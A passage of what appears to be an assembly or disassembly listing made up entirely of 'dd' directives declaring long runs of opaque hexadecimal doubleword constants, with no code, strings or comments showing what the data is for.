724C3BF4h dd 1FF71E94h, 0C0B069CFh, 0F106966Bh, 0F51C1384h, 897B0023h dd 0CE17FBEAh, 0BE00CCE8h, 2A26D84Bh, 1C916EBFh, 0FB59ECF2h dd 40C8C01Dh, 0EE6C9F01h, 0B500E903h, 90A735CDh, 1CBDFBEh dd 7C96B189h, 0E01CDBEDh, 5400782Fh, 6905EE5h, 0E55B830h dd 0C7A5E0BBh, 0D4FC017Dh, 0C82DA488h, 19CAE10Bh, 1E01D8D0h dd 0A37C3D7Fh, 1FF21DE0h, 0C0CAE30Eh, 9217FEA4h, 94009C02h dd 0FF916CF6h, 2C9EBCh, 5F977BB2h, 0EC432101h, 821AB800h dd 0FD27F322h, 41DA01CFh, 79925890h, 9FF8DB7Ah, 77002B26h dd 0CF1D46F0h, 0FA7E70Eh, 0AA9D313Fh, 3B800BE0h, 0E00BC31Ah dd 1FE2ACAh, 59CB08CAh, 3AB61C8h, 6D5B2F0Bh, 840788DEh dd 0CA2D1512h, 0BF33E130h, 3CEB0059h, 0BA212E01h, 1D010C2Fh dd 0A4BD659Ch, 0B4F80B5Eh, 0D62700A2h, 488DD526h, 0E801BA2Fh dd 9CA35F24h, 0DD702ABEh, 2B72000Eh, 48EF76C3h, 7E0FC889h dd 80A20C06h, 91E0DDECh, 163D0028h, 35373FFCh, 9D76F257h dd 0E40098F0h, 7F8047Ch, 0AFB402h, 2877F30Dh, 56745E2h dd 3650B3Ah, 9920502Dh, 8FB0C8D2h, 0A59C00A7h, 84B2FA7Bh dd 8D0003B3h, 166E622Ch, 0BF101C3h, 0DCA75527h, 11AF9107h dd 0D828397Bh, 4700AD94h, 0F2EE5FA1h, 5E0279h, 0F4709C88h dd 9F3951FAh, 0E0A39B00h, 2232455Ah, 3ED407D6h, 0D0806960h dd 0A11386Fh, 0D7BA3000h, 0EA406B0Dh, 634100B1h, 0C9ABB816h dd 0D600CDF7h, 9E43E87Dh, 2275FCh, 0AA8847CEh, 0EF6DEBFDh dd 0B700C6E8h, 592AFF2Dh, 193F2D3h, 0DD6201ABh, 0D4CEDFC8h dd 0B500E7F8h, 69E8194Fh, 0E8CA3h, 56E2FA10h, 3B77D886h dd 8EF77400h, 0BE6EB792h, 6A870070h, 54576D41h, 7F00B185h dd 0F0EAEEB2h, 0E6B374h, 0D758C53Ch, 0E5E34E2Dh, 69681100h dd 0B2032E71h, 66F5030Ah, 3A9D7961h, 2FDEAC8h, 0F2A36000h dd 0E48FFB20h, 81E6C8h, 1566BECBh, 0FC0DE5B0h, 81A1DC3Fh dd 0D3F99853h, 0D08037E4h, 617E25FFh, 5C98F54Fh, 39FE5C20h dd 151CF87Bh, 386C62h, 0AFCFA782h, 3E04E81Ah, 0B38AF407h dd 0FDD80C0h, 23B81EE5h, 736C80D7h, 219F6DF7h, 57C51300h dd 75CFA3B4h, 328B2810h, 181260A4h, 81B287D4h, 0C0292600h dd 0F91AF692h, 0ADDC00F7h, 8B8C3DDDh, 2806CC49h, 696E8D9Bh dd 0A5121E51h, 33EACE10h, 0B02DBDE7h, 146AFCEDh, 4E5920C0h dd 0C9E27Eh, 860C3894h, 3DD788E1h, 34B4ED00h, 0E74EE0AAh dd 0A28F3C04h, 22416780h, 0BC327EC6h, 0CC0C1100h, 364B3AEBh dd 9CF201D1h, 99A430B6h, 0AF5E086h, 0C10045F8h, 95199F28h dd 0BCBD671h, 55F3104Eh, 0D020D987h, 6B331DBFh, 60D39700h dd 7D728863h, 7BAC0010h, 0FFCBB643h, 0E63B9D56h, 4F02800Fh dd 71DBA474h, 0C28100CEh, 0FC709890h, 28030B31h, 0E5B18F95h dd 7880D78Dh, 7BACD56h, 0A7F4BC6Fh, 0E314B002h, 10C0C934h dd 0EC180531h, 1AD80E96h, 0A8F30DA0h, 3E0F3C9Eh, 769125F5h dd 4F9D1CAAh, 9040DA5Fh, 0B45BDCC5h, 96036000h, 0C0EBA3D3h dd 829D0028h, 5C9B050Fh, 63B84947h, 0E900B0E4h, 46F5E374h dd 72E3FEBh, 0EE4C459h, 0C0204514h, 0DF26ADE0h, 230F7C0Eh dd 3084A029h, 0FB8EEAh, 91E86F71h, 9641B278h, 160FEC77h dd 4FE0549Eh, 40CEE0F5h, 31A6A8h, 1BFB6CFEh, 33E2112Ch dd 1978D600h, 389BF787h, 0D7640073h, 8EE02096h, 9A00483Fh dd 0EA6B855Fh, 0C6F466h, 5E7BDF55h, 0CE50E151h, 9D5CAA01h dd 90483488h, 0D126E040h, 0C17DA6h, 0E9023593h, 62030624h dd 0FF25C501h, 59E0732h, 649B30h, 4FB90956h, 58FB0B4Bh dd 0ACC1EB3Fh, 710086AAh, 41CF228h, 7B750107h, 726BD5D6h dd 0C02DD139h, 0DE5F644Ch, 0AA003DECh, 0E16107EEh, 66078D62h dd 8969487Eh, 8046A673h, 0EA1FBDA0h, 7975CEh, 0DF3071F2h dd 84325009h, 209235F8h, 851038h, 80A4BD8h, 3AEEBBh, 3FA21DFh dd 0E206B45Dh, 0F5A92600h, 358BC0ABh, 407F1862h, 0CD1440D5h dd 9B0239h, 72CFE0FCh, 1EE743h, 5B6CDDC9h, 6FE420B1h, 0D400BF7Ah dd 0E65D27ACh, 7EF00EE5h, 8ED9003Eh, 783FABEDh, 9F07E4EEh dd 5FE0D755h, 490BC7h, 0EFC98B5Eh, 610503CEh, 3F1657Ah dd 0B2000FF7h, 933F3827h, 0C3D85307h, 36D129C6h, 860F172h dd 5A6801ABh, 5DF7B801h, 8196D0C7h, 91104Ch, 427BBD83h dd 2DDA75Bh, 0B94898A3h, 0B5C01AA5h, 0E70058F3h, 297997C8h dd 0EFF14h, 81A88342h, 8B4E446Bh, 7D01B378h, 22E21E69h dd 0D6E8E643h, 458CA034h, 0D74C00C8h, 2CEE078Eh, 12039389h dd 20F960DEh, 4869D037h, 0ED6C01D3h, 8D302DC3h, 0F4ABFCAAh dd 71B4A402h, 7DEF40A7h, 5DD5A940h, 500F6D16h, 0A9CAD100h dd 211BDFDh, 6C9D3515h, 0CDE0087Bh, 750E3384h, 31676ABh dd 0B0438FF0h, 4D269113h, 0BA0E0C95h, 39600903h, 0CC7F5884h dd 1056500h, 7CB0AE7Bh, 5A740010h, 2D4D0C8Dh, 2A001975h dd 0DB809BE2h, 10E25D9h, 119F0A4Ah, 0EA87BE8Eh, 42FEA080h dd 73013EA8h, 0F41C534Eh, 30202A9Eh, 8FC500D3h, 0E30CB996h dd 7B004F59h, 39444634h, 48643D2Ah, 54003E79h, 0D056BBA4h dd 7500A655h, 0DBE4EF6Ah, 0E049D4h, 0BD13E6C9h, 47DD3522h dd 34517700h, 11D12EA0h, 260003Fh, 0DBA39A1Dh, 20188187h dd 0F102F68h, 0FDC10064h, 0DF1E8A71h, 0FB07A77Dh, 1DD2C88Bh dd 0B7DBF8F0h, 3C72009Fh, 38805DA5h, 7500E384h, 41347A94h dd 9EE892h, 2D91B1D6h, 1ECEE1F3h, 66572E05h, 4FC00307h dd 0C74428h, 0A90E7817h, 3C323D9Bh, 0BE120201h, 0BB2F311h dd 99CE4h, 0FA9075F1h, 7E992BCEh, 80365E3Dh, 0AF19F7B1h dd 0B913D6h, 0A4947FE9h, 0AE85FA04h, 1FA2D200h, 5D8A97E4h dd 414C004Bh, 0B6AB1D18h, 9F03ACE9h, 0AF53F7E6h, 3504A82Fh dd 506C00C8h, 0D2645E19h, 0E503F6D9h, 60442748h, 993FA17Eh dd 4C4E91E4h, 9726CC9Ah, 9E0800F7h, 72B4B2EFh, 0D17F4A00h dd 1F5EC049h, 0C5893BD2h, 8BFAF6h, 0DA1DBE6Dh, 0B61754E4h dd 3C7A9800h, 0D8200890h, 26295876h, 0E6B0BA00h, 3EFAD635h dd 14804Dh, 0E826798Ah, 72D18Dh, 7C62AEE9h, 698485D8h dd 452A5C1Ch, 29DE81C1h, 0E0C6A49Dh, 904D64C5h, 85D00060h dd 8CE1A16Ch, 493BEAF5h, 0A86500BBh, 0C1364235h, 103C304Dh dd 0E7D7DDF9h, 0ECBC4E01h, 6ACE6C25h, 6E80DCh, 3CF6E591h dd 0D47E9686h, 80FD4B38h, 7022E3ECh, 71B9AEC1h, 263001Eh dd 1826B608h, 0C500DD69h, 0D761F439h, 4A37DEh, 77A97E58h dd 0ACDA9933h, 8BF6630Ah, 560BC894h, 6CBB804Fh, 35B348Ah dd 230E1586h, 0ABA03F30h, 0CB904284h, 0FC2EDB09h, 2ADA00C0h dd 179AA2Bh, 4725D4CAh, 80DB8368h, 311B9610h, 4BFD4916h dd 7F63B808h, 8255C300h, 3AE263C0h, 0DB78C396h, 8005E1F6h dd 5B05D19Dh, 5ADEC0EAh, 9B3ECF88h, 0F94B0051h, 0B61E0E9Ah dd 16D018DBh, 646330F8h, 4849FA30h, 0FACA9A21h, 0BDCF1E33h dd 0FD14CF42h, 0C59F0F9Eh, 998BAD00h, 1F00766Eh, 7FE15EFBh dd 1F82049h, 92502640h, 40DDBEBDh, 0C1D2C4Ch, 0C36F7C03h dd 9839C717h, 975605h, 5ADA3C4Ch, 302E5E1Dh, 52FC9800h dd 0AECA8CC7h, 26F848h, 0C3440428h, 2CA71F59h, 1E2A61C3h dd 9EC5F1CFh, 52E6D882h, 0C0A09AEEh, 1D7EF424h, 2C5CB800h dd 9ECC2177h, 74D50022h, 8FCBA9F0h, 0FDF00658h, 0A4C56C01h dd 0AA3D662Dh, 0F827B530h, 746800D8h, 0D97256E2h, 7D00D65Dh dd 25A957FBh, 7EDCCCh, 5A5EADC4h, 293C1ACBh, 97849600h dd 7C6BD10Ah, 3EC300E0h, 0CBA51B42h, 0E739ADE2h, 838000EBh dd 0B2C15693h, 0AB67008Eh, 430B2E3Ah, 0AD004A97h, 0D47FA569h dd 7BD3C798h, 0D59001EEh, 0E475824Fh, 0E302E86Ah, 53F8FE0Eh dd 962F47F5h, 7376BDF0h, 0D1DA1C67h, 0B38070FAh, 0A900E7EDh dd 64129157h, 1E6A9450h, 0C1C8C50Eh, 8E419230h, 7BB8E033h dd 3B489D1Eh, 0DE5535C0h, 0F546118h, 4A43CFBAh, 0D83CB80h dd 0B900F203h, 0A8866E10h, 0F464DEC7h, 0FADA00C2h, 33277FF1h dd 0B80076A1h, 0FF682DBEh, 7AD599h, 0AA77FC96h, 12C43C56h dd 7B1A6D03h, 42E03B2Ch, 40E20460h, 5F041888h, 38CA36C0h dd 7E8FD0h, 49F896E8h, 0F2BB9CA4h, 4721AF00h, 0F54B6516h dd 0CDCB008Ah, 0A1B27DF0h, 5AFA9B4Ah, 0E000967Fh, 58F744A6h dd 37DA6Ch, 8269A9D0h, 0E2346221h, 94645105h, 0A88016B6h dd 0BCB8F7h, 2D05F9A1h, 1324373Bh, 5399FD14h, 28CDE020h dd 0A40186ACh, 0C8B1CF84h, 8883977Bh, 294CD3BDh, 0E4C1C800h dd 6235BF7Eh, 102F62F1h, 5610C30Eh, 0AE411EBCh, 0F5A40336h dd 3AE8B5E2h, 391FF823h, 4F003FCDh, 0D1C3EACEh, 552A1E89h dd 0A0FB3944h, 30E4C084h, 0EE5026F2h, 0D530A9DFh, 0F14A8848h dd 2B990FDAh, 0B5E38AE1h, 502A1D81h, 0B80CB4FEh, 484A51CDh dd 101B00E8h, 0F0E1C2F2h, 30A81DBAh, 3F60E6BFh, 65F3ADB1h dd 0BF48088h, 1EAE20A0h, 0EC801108h, 6A1154D7h, 0FFC0352Eh dd 0F2EFD005h, 2086C6B0h, 0FBC95100h, 69121F6Ch, 2A181EFDh dd 0EE1A00F1h, 6D1B5495h, 73252C00h, 15F93422h, 59D9319Dh dd 59EE0418h, 8EB12120h, 0E0F9B340h, 0F6D1A34h, 719D0331h dd 2D244014h, 4742F5C8h, 0E87BD200h, 0ED9896BDh, 0FE9D18FFh dd 87C3184Bh, 3A19DF0Bh, 0FB6700D5h, 0F4F94890h, 202C54DAh dd 75E87888h, 337811A4h, 2394E29Ch, 88005439h, 0AFC6921Bh dd 6CF291h, 0A085D296h, 2E7EFEAh, 0D8C03379h, 11C7B1A1h dd 0EE6D0F1Ch, 0DA04AA5Fh, 0AD6282DDh, 6F2C2098h, 501DEC21h dd 52422DF6h, 0F30BEEC1h, 0EF02D032h, 85832346h, 60C40F49h dd 720CB967h, 80DD6253h, 28347A2Bh, 8CE0E929h, 45EF0440h dd 7CE7B6C5h, 802E4225h, 9419D84Ah, 0D706402Fh, 2E24B042h dd 20503BB6h, 803D421Dh, 0A37ED6D7h, 8084525Bh, 4A2DB5A1h dd 95B63D20h, 0E160B840h, 0E047DF56h, 96624363h, 44101F28h dd 1AD98030h, 19962E14h, 0D51E7300h, 90A7F0EEh, 65F91308h dd 37900F26h, 0E76DC580h, 0D20093F5h, 6C97BDFDh, 0F07A95E8h dd 420A6F2h, 0D666702Ah, 43547C64h, 0B245829Dh, 90881585h dd 0E33470A5h, 2403AF08h, 0AC01D427h, 54DA790Ch, 101FDDBEh dd 0ABA0B0D8h, 0E0A7F0Ch, 6045913Fh, 0A59D80D8h, 0D3510D20h dd 9C800A22h, 37612069h, 0B8C2C87Ch, 1F7680h, 3F0938E2h dd 0C86F3D2Ah, 1B403Ch, 50BE432Ch, 10F978h, 42ED89CFh dd 2ED41F05h, 6A18F865h, 20B42072h, 0B1257BFBh, 0BBF97500h dd 52ADDAE6h, 0AE96004Eh, 14681DD5h, 0DD7FBDC4h, 9B624518h dd 2EB718h, 0ADE86EA6h, 3D72B6CAh, 0EAAAF51Eh, 6201202Bh dd 0CB261244h, 60E1211Fh, 21546871h, 0F8FA7911h, 28AC54F7h dd 606706A0h, 0C0D969AFh, 0B027A610h, 0AA809F1h, 9E681800h dd 0BB99608Bh, 0A819888Fh, 2B9B0D70h, 0C5209A91h, 0C1802CE5h dd 141F6502h, 3EF93357h, 4641D160h, 6B7E9Eh, 71CCD5BBh dd 80C7DB54h, 7695B800h, 9EC9735h, 701300ACh, 0A4D02351h dd 9F60D7A6h, 84740518h, 0F97B0022h, 6D3C9CD8h, 202BC249h dd 730120EFh, 0AA0CDD85h, 0DBD9101Fh, 0FB73A1E1h, 523EBED2h dd 7FC040A5h, 0A9FF5C84h, 2071948Fh, 3B1702B0h, 8A603257h dd 1E582095h, 0C8940843h, 0A1F09FD8h, 1A3ECC2h, 4BFCF455h dd 0E87487F1h, 0A00373C6h, 21251909h, 2D180F4Fh, 0C160C523h dd 2402189Eh, 40606EF0h, 25EB4440h, 0F6BE8065h, 38C7CD00h dd 8567F5CBh, 1FB600E5h, 7A6E3919h, 88758924h, 9500F3F8h dd 165D939Ah, 6F5973h, 0C5B6D4B5h, 60D30F35h, 1C00CCF8h dd 30E5D83Bh, 0F5D70EDh, 0C9AE22BFh, 3DB57980h, 353FFCCAh dd 40984050h, 647814B3h, 22F40h, 7B5CCA63h, 447AF19Dh dd 6772F503h, 98EF0973h, 7C590EEBh, 0CFC70078h, 0AC1E1BEEh dd 1C075455h, 0EDC2FBD2h, 107A8E82h, 2A0472A9h, 4BE531F4h dd 0A087977Ch, 0B6E10ACAh, 0D120E9B2h, 0C0E110D3h, 74940005h dd 75BF9C44h, 6700B304h, 0D435BE01h, 7393E4C3h, 25F20CEAh dd 9A180243h, 0CEC7A914h, 96F30098h, 52708CD3h, 52C0F0CBh dd 4E0120B2h, 22E0ABBh, 0BC101E26h, 0B48AE051h, 0A0464214h dd 0B5B944h, 0D4FC33A3h, 9D772F6Ch, 52AA2E01h, 6762D3D8h dd 188089C1h, 0F8379B43h, 0C0F8A3B6h, 0A8939D1Dh, 0E90020EBh dd 4C17F12Eh, 6827232Bh, 1CB47CC2h, 9D6F5705h, 406C323Dh dd 1F20AEB0h, 82A42E03h, 6A6E0E8Fh, 0C078433Ch, 205132E4h dd 9060AD25h, 802BB284h, 79B3D9A0h, 0CC908F58h, 0FFC000B4h dd 24DBAC3Dh, 0C2B940ADh, 0BF2DF8C0h, 0D9239153h, 635E330h dd 2E6170C4h, 6A343EB4h, 94E425A3h, 1740822Dh, 953B71EEh dd 208814E0h, 7C5F31B0h, 4026192Bh, 14D85C62h, 42E393Dh dd 6D2C625Bh, 0D948107Ch, 0EA72E040h, 6E11117Bh, 0D90CE16Ah dd 6905604Ah, 2A3FF3BBh, 0DB437080h, 1C43F881h, 14405E29h dd 0E080DAD4h, 4813E7E9h, 0E4A820EBh, 738220A5h, 4560AF4Dh dd 3C584560h, 491555C0h, 0E340DF6Eh, 417F2Ch, 35563A78h dd 6D2D54CDh, 550053FEh, 2217913Fh, 1DB3D4DCh, 0CF894A3h dd 665131C4h, 388D122h dd 0CC8CD29Ah, 690DC24h, 263E7553h, 18563ACEh, 8F892808h dd 8AA12093h, 0A7EB50C3h, 1690E02Eh, 1020A48Eh, 0E1CD5855h dd 9E0046EDh, 8A60206Ah, 1222A518h, 6859C13Ch, 823256D8h dd 47261B30h, 51C200B5h, 0E8802EA8h, 531600D9h, 7950D8EAh dd 5E002539h, 0D1463637h, 634D9390h, 2BEB3882h, 17259000h dd 18066C27h, 98D000A4h, 0CF4EB258h, 81005BBAh, 59A62D41h dd 34E610h, 157E6D63h, 9C9D62DBh, 624CE39h, 8032AD54h dd 1E203050h, 1CA54159h, 197A812Ch, 50C54A00h, 290373E7h dd 0EC833F7h, 0DA810DA7h, 8005113Eh, 2B9B4820h, 1578FBh dd 0BA5AEF41h, 54C7FD3Bh, 7A896B00h, 0D23A7266h, 7B47CA6h dd 34ED1309h, 0CE780CFCh, 4F016BE2h, 0E11CA6F7h, 0F050B4A2h dd 6E0FDDh, 354114D4h, 9F15681Bh, 0FEA16300h, 0ECD5FBEh dd 9C8518A3h, 501748AEh, 0E3F31A00h, 0DE2B949Dh, 0F4FCF82Ah dd 0A44E5452h, 500A799Eh, 123FC096h, 0CEAC21h, 7DE9322Ch dd 0D00DFADh, 199F841h, 6526AFh, 2568160Eh, 0C0D50C2Ch dd 393C807h, 809F3EF5h, 966B0DE0h, 5542075Eh, 800E276Ah dd 4856DFD1h, 0E75FF618h, 6029F928h, 0A7583116h, 7F3D3064h dd 7FA3E1Fh, 0C2F110D6h, 0F3629A80h, 37E50F5Ch, 7506575Dh dd 2015069h, 3F16AF90h, 79805B2Ch, 0A4A87AB1h, 3706F9A2h dd 0D636C752h, 9FC20058h, 629BA93Ch, 50C040CBh, 143093D4h dd 0EFC5002Bh, 61915FDBh, 8B0038A3h, 9AC49F82h, 934555h dd 160DE93Ah, 72B2CCD4h, 466AB60Ch, 303BE0C2h, 6B206976h dd 2E18AC52h, 0A6F814FAh, 18E36051h, 2BBCF0D1h, 8A785D6Fh dd 0C00ACD0h, 0B205F135h, 0B8D11FAFh, 912400C9h, 0EBCA3FA7h dd 9E1FCD04h, 84208E81h, 14047C06h, 0CEBCF939h, 8AEC001Fh dd 0AE2B4477h, 0C263EF7Ch, 78557E19h, 0E08C5039h, 6DC79C6h dd 0A927699Fh, 320A8917h, 50B74460h, 1C836600h, 7A12288Fh dd 9DC50FDBh, 211B0262h, 6BF06103h, 0F67A8D5Eh, 0AB700010h dd 2D6EC503h, 16549C38h, 40F102FCh, 0A3AF5260h, 0BF70AE55h dd 0F21C8058h, 955D3C37h, 0D70B0017h, 23901EDBh, 2C008959h dd 6AF5BB9Bh, 1FA6644Ch, 0C0371FCCh, 0E361A855h, 48186E56h dd 0FC690E43h, 650902DBh, 4C8F9F3Dh, 0A1EA5200h, 0C392ACAh dd 0F6951888h, 0D0EF921Ah, 0A037E400h, 109FE951h, 0A8660468h dd 91FA6075h, 0BD4E0A24h, 2EC10248h, 48418D38h, 49B40344h dd 33121081h, 0A6784128h, 871325B2h, 9B3210D8h, 12F383h dd 0F7295710h, 236AEBB4h, 0C52C3001h, 0AF932D32h, 6BE03DD9h dd 0AAA009BBh, 0AC00F607h, 4CB64DCDh, 0ADDA7D00h, 2A5ED268h dd 27150013h, 0DB553BC8h, 5719D5BFh, 28A87FB2h, 0C0834C20h dd 0D6A78A91h, 5892631Dh, 0D9E8F720h, 90676618h, 96C1EB19h dd 12690BBh, 0D400E91Fh, 143E4C48h, 24AB00F2h, 9323F9C0h dd 0A8C96E9Bh, 37CCC5h, 0AC02A68Ch, 80A0EEC8h, 627D945Ch dd 20F1E633h, 4A82C25Eh, 0C3F4001Ch, 7C2C8AFEh, 0C7B5459h dd 3EEB2077h, 0B83A5F2Ah, 0F4D7A82Ah, 80D5A209h, 0E608033Ch dd 40D292BCh, 57EA68h, 5415896Eh, 126F6947h, 0B73C4800h dd 0EDF57F88h, 9B010CA6h, 7818DDBFh, 6FAF8A00h, 18425416h dd 30864073h, 22A80C10h, 1E48C470h, 0C93E0047h, 56A583D8h dd 5A003001h, 9B478B16h, 30C73BC7h, 51774020h, 6A430BB0h dd 9C1201B1h, 4885ADFBh, 0C8AFE40Dh, 0B3F6DA00h, 846F1CFFh dd 6D7816h, 0E6EADEC5h, 606A36DDh, 0E9930E03h, 0C03E18FFh dd 33C937C2h, 5F887E08h, 957BF590h, 731EB13Ch, 0B08A753Fh dd 92A4C027h, 53430F86h, 0A001807h, 9D3F6FD9h, 0E0213CA4h dd 0E3729C32h, 43146A24h, 9104233Ch, 26F88405h, 0E289C761h dd 784C4F11h, 231B4330h, 0F038AC2h, 84C0883Ch, 1F4A85C1h dd 78A00408h, 0C2A2D71h, 4750ECCEh, 2720D518h, 0F620C24Ah dd 4800156Ch, 29C5E47Ch, 5308378h, 21BD4B9h, 16708218h dd 83FFA120h, 0C5020055h, 0E7FB3C01h, 0F657EADFh, 1E17149Ch dd 6094CAD8h, 82CA3C6Dh, 0B1097860h, 18D28B9Ch, 0C1437E1Bh dd 0B8E1D808h, 30DF1E42h, 3CA9A883h, 0D531E25Ch, 0B46B018h dd 964711h, 6B797F1h, 91CF662h, 0C4E1837h, 2D9A9C13h, 6D2B1C90h dd 73581550h, 84388546h, 0D211F453h, 5A378509h, 94A4584Ah dd 1EB8DDE1h, 27461808h, 3CDE5B15h, 3F81EF11h, 0F3920870h dd 991C0C45h, 97530F31h, 81F311ACh, 443DB885h, 40DDA654h dd 73519669h, 64E4920Ah, 615031B0h, 6C48D85Ah, 1118437Fh dd 4D827E4Ch, 94104A27h, 0E1609325h, 4249F07Dh, 0A158018h dd 65F40BCDh, 0FB9C70B8h, 2B841808h, 884838Fh, 82623930h dd 0CF6C90D7h, 11434280h, 39898354h, 4CE808B1h, 0D8AC0F3Ch dd 723C9F53h, 1F620B21h, 1F08E392h, 71E46487h, 370C7C95h dd 218615F4h, 2B88CF07h, 6734C27Eh, 845678A2h, 0FC1E1825h dd 1588F87Dh, 0D98C945h, 22AC8C25h, 30A2EDA8h, 4526856Bh dd 116E6A30h, 2E9C0144h, 32B27E0Ch, 0C0043240h, 57CC4CD1h dd 23109CECh, 6033CA4Eh, 184BB462h, 9CAC0B66h, 3E1DE310h dd 0ADE1A088h, 1C0817E8h, 338A089Bh, 0C3883CC5h, 0AF70C185h dd 994E006Bh, 2FBF67Ah, 4D85B73Bh, 74C0B59Bh, 0EFE76FE0h dd 0C90DA006h, 7C18B867h, 0A3B01FE7h, 8B5700C4h, 0E41CEA9Bh dd 0D50C7E6h, 67D7AF4h, 85B19916h, 0D909A40Ch, 2412537Ch dd 0A461AA00h, 9D5764B1h, 0E0DE4984h, 3C4A9862h, 12F7E307h dd 5006194Ch, 89F358FCh, 459AC59h, 219FF0Bh, 0E44404F4h dd 0CB684300h, 22CF8B76h, 6943F700h, 0A8504494h, 6605EF42h dd 1EA2301Ch, 860ACF70h, 94B6BF4Dh, 0DAC85B41h, 0FC260C0Bh dd 4007E0A7h, 0FA189499h, 0E8186BEh, 6F7417DAh, 645441C4h dd 8FE9CD3Bh, 0C673AA28h, 74889BA2h, 127B28D8h, 3F3103B0h dd 0AB6F624Dh, 808E3900h, 933BB03Dh, 0C9FB0C78h, 0E3887C14h dd 8C75215h, 670514CCh, 5988FA8h, 0A423FF89h, 481BC04Fh dd 0B3922630h, 0CA458590h, 39D89665h, 6E1C4802h, 40691674h dd 31CC30h, 6A3D3A11h, 5E3810EAh, 0A2E180F1h, 172C61DBh dd 28120554h, 27608C7Ch, 1C684A84h, 583E5674h, 7FCA5060h dd 50943544h, 317460E9h, 0E0791B44h, 1E1630E2h, 0FDF67F07h dd 0BD82E587h, 6708812Bh, 0B450752Dh, 0E43D7C06h, 6F010CC4h dd 0EC18D914h, 38E79207h, 99C0A660h, 0F49668FEh, 45E8C0B1h dd 134D83F1h, 37E8B454h, 0C1A50915h, 11122230h, 8234F8Eh dd 0D0E389Bh, 1CB18B88h, 0DC00E6E0h, 35E82648h, 280E0C2Bh dd 114846D1h, 3BA5A913h, 6A0B0AF4h, 0F780C848h, 1840E17Bh dd 6F1D2801h, 0A957D0Ch, 736A7E2h, 0E6498180h, 8533446Fh dd 0E73AAC20h, 0CC01185Eh, 20C65BE1h, 9416B440h, 44881A0Ah dd 44CA286Ch, 0B6CE7840h, 4C6900FFh, 43891B2h, 0C0AAC57Fh dd 886FBD40h, 0E9014494h, 1E766951h, 50191451h, 908FF8h dd 38DCFDD4h, 9F120D5Fh, 6AC73Eh, 0C682D64Ah, 4FD6FE9h dd 0B8C81F5h, 0C38380DAh, 4977B976h, 213BD000h, 0BE63F204h dd 31BFEAB1h, 1A18E4D8h, 0D2408083h, 0ACED71C2h, 262F069h dd 0ABC982D8h, 5300D7A0h, 83374C2Eh, 0DE055810h, 9041D91Dh dd 83486365h, 3DA89E32h, 7880C00Bh, 536C8F69h, 2B607C0Eh dd 6BB4228h, 58AE61C4h, 40B6B865h, 4092F48h, 4B4051C1h dd 1887DDD4h dd 813A62C7h, 0E1CD8290h, 4151E82Dh, 355F60A0h, 0EB3EC400h dd 16A1BA61h, 24225004h, 663033B3h, 640A80B1h, 948F061Fh dd 49638305h, 54972C00h, 74D419C9h, 0E820C048h, 265C224Eh dd 31351D3Eh, 913E19B4h, 10C64182h, 2490859Eh, 7401A4B9h dd 0FB4251F0h, 48501740h, 600C0338h, 7621287Dh, 49C0E332h dd 5D5CDC72h, 9C9205E6h, 411D803Ah, 0F97BD130h, 1CF08268h dd 624ABF2Eh, 21082054h, 280A056Dh, 79BC74DBh, 654FF0F2h dd 0C6BE60EDh, 3B005128h, 5F8A46DEh, 60C5D968h, 290B5951h dd 0C00588ADh, 9CF5BCB1h, 0F11883A8h, 24026980h, 0C5B93F15h dd 0D9057884h, 0C3032362h, 99F68840h, 245BF193h, 80501125h dd 713B5DA4h, 0D9189A53h, 9519E1BEh, 0DAB11C79h, 34C9CABFh dd 69FC8C34h, 8F01E304h, 0A401A744h, 38232F39h, 95FCE00Fh dd 2BE8BA62h, 0B71D084Eh, 93DBCB3h, 182C1FAh, 31BF8FD6h dd 0A33046D9h, 8558C11Dh, 20391516h, 0C97CA058h, 2F7728C0h dd 927FE9F9h, 0D0F35598h, 745B092h, 90A90DBEh, 1EAD5F33h dd 68528F02h, 825EE620h, 0A12DC9A4h, 0D9474020h, 0E980DAE1h dd 0EE36D20Eh, 23187175h, 83901502h, 0FC5FAA4h, 22BF7A78h dd 9EA8D18Ah, 4296403Dh, 99D4C891h, 0C4798AEDh, 2E0010F2h dd 0E9066258h, 0A48E514Ch, 47D0A3D6h, 531020AFh, 6C49510Fh dd 8E890620h, 1A3E0621h, 11BC2C9Bh, 0DF209306h, 7831C72Bh dd 849B7F7Bh, 3B209067h, 50A99988h, 9B084343h, 0BB743011h dd 0DF1A3002h, 9A03CA13h, 78D901FDh, 3599AF84h, 87742450h dd 0A49BE03Bh, 440148EFh, 0F8052207h, 4B0F3182h, 1468F0B4h dd 9801423Ah, 34F7D7CDh, 61800DD4h, 288D0CDCh, 0C100E6DDh dd 0FA5A4F1Ah, 98E4969h, 0E0A164B6h, 820F5085h, 0B0604E29h dd 983E59BEh, 0FB89603Ah, 0C0E829D3h, 3B71C328h, 0C03EBCBh dd 6CB28545h, 11F9E064h, 980D247Ch, 0F3EA0024h, 28D3E2BCh dd 1BF1F12h, 412D7041h, 4203665h, 0ECAA503Ah, 40F8AA13h dd 80D89CC4h, 0FB81A86h, 0C70C2AF6h, 18DCB04Bh, 9641060Dh dd 60B1C6FDh, 5E496A0Dh, 0E022B1BDh, 44C04A12h, 8841D750h dd 77619934h, 0C7A8F440h, 8829AD11h, 196854A0h, 0C01CA9B7h dd 1612597Dh, 6051F623h, 60B40024h, 2E818684h, 0F0642618h dd 0DCA9849Ch, 50550468h, 90FA1090h, 31D87231h, 0E1F83287h dd 0D5DEE4B6h, 4C606800h, 0BF8C8347h, 9B34128Fh, 4A544F9Ch dd 1977A386h, 99789630h, 7445F888h, 50D1741Ah, 0C3E584Eh dd 69AE5987h, 0E899CB11h, 0A6B30F02h, 0A25CC8BDh, 73C3746Eh dd 0F133184Ch, 3647A946h, 0C26A3578h, 9428D281h, 0CF08B250h dd 1D08C381h, 80BD30C8h, 7BC7F588h, 8DFA4677h, 6D487FEEh dd 0FCAC26E8h, 243A6800h, 4913F96h, 0C3848790h, 0C8309330h dd 45353807h, 6745B31Fh, 86FB0C0Eh, 9388E9Ch, 2C984AC4h dd 0F21C401h, 9718929Dh, 23CCE049h, 1FC09AE8h, 53C446F9h dd 2CB00949h, 0CA168490h, 0DEF380h, 0CE917B6Eh, 3B70731Dh dd 60FD5CA1h, 0EA402514h, 0BC20486Ah, 26F0B222h, 0EF3D10C4h dd 103D9448h, 807B1D90h, 21CDF066h, 0E26150EBh, 0A4A92080h dd 0FCF8D9A8h, 0B52D302h, 0A57E5F93h, 0E200FDDCh, 450EB8F7h dd 3AB3139Ah, 0C6A8041Dh, 39F8C174h, 40442049h, 7CE8AB12h dd 2600381Fh, 775EFD33h, 0DE8B049Ch, 880FD72Ah, 2C78DD6Ch dd 115BBB30h, 32694Dh, 0F81E5F95h, 5E28CE9Bh, 0DC93BB2Ch dd 